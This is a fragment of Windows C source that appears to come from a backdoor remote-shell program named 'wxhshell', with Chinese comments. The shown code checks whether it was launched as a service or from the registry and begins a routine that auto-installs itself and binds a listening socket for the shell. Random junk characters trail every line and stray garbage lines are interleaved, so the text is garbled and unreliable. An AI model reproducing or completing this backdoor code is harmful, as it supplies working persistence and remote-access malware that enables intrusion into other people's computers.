} PROCESS_BASIC_INFORMATION; DGTSk9iK(
1_!*R]a q
PROCNTQSIP NtQueryInformationProcess; :~pPB#)nk
m0W5O gk
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1+PLj[;jJ:
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; x5k6yHn
%^g BDlR^
HANDLE hProcess; auqM>yx
PROCESS_BASIC_INFORMATION pbi; ao<@a{G
X 6/k `J
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E/9 U0
if(NULL == hInst ) return 0; _pM&Ya
C$xU!9K[+
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); PWOV~`^;
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z1?7}9~`0c
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6';'pHqe
T+m`a#
if (!NtQueryInformationProcess) return 0; pIk&NI
2Tt@2h_L
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bhl@\Kq
if(!hProcess) return 0; Ft>Abj,6
$6T*\(;T@A
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `itaQGLD
! q!
=VC
CloseHandle(hProcess); RZ9vQ\X
U)
7E4=\vM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); eZ
y)>.6Z
if(hProcess==NULL) return 0; ;OQ{
|0ahvsrtW
HMODULE hMod; Funep[rA
char procName[255]; X~GnK>R
unsigned long cbNeeded; [>Kkj;*
W~
XJ ']e
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R}a,.C
Sve~-aG
CloseHandle(hProcess); ;=Jj{FoG%
el39HB$
if(strstr(procName,"services")) return 1; // 以服务启动 dy;Ue5
C ".&m
return 0; // 注册表启动 ZJ@M}-4O1
} #[C|%uq
8l0%:6XbI
// 主模块 SJ;u,XyWn
int StartWxhshell(LPSTR lpCmdLine) a1]k(AuQrC
{ d {a^
SOCKET wsl; I2(5]85&]s
BOOL val=TRUE; T+zZOI
int port=0; wX" 6 S:
struct sockaddr_in door; 5zX;/n~
/i$E |[
if(wscfg.ws_autoins) Install(); _` |Hk2O
|AW[4Yn>
port=atoi(lpCmdLine); P*XLm
K_',Gd4L
if(port<=0) port=wscfg.ws_port; s={AdQ
hgX@?WWR
WSADATA data; `h/j3fmX?
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [S9T@Q
R3<>]/1p|P
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; c 's=>-X
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7-.YVM~R
door.sin_family = AF_INET; ?N<* ATCL
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6]rIYc[,
door.sin_port = htons(port); k!b\qS~Q
Mb=vIk{Bf
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { n;)!N
closesocket(wsl); | Uf6k`
return 1; sptDzVM
} _9wX8fh3D
[WnX'R R
if(listen(wsl,2) == INVALID_SOCKET) { $&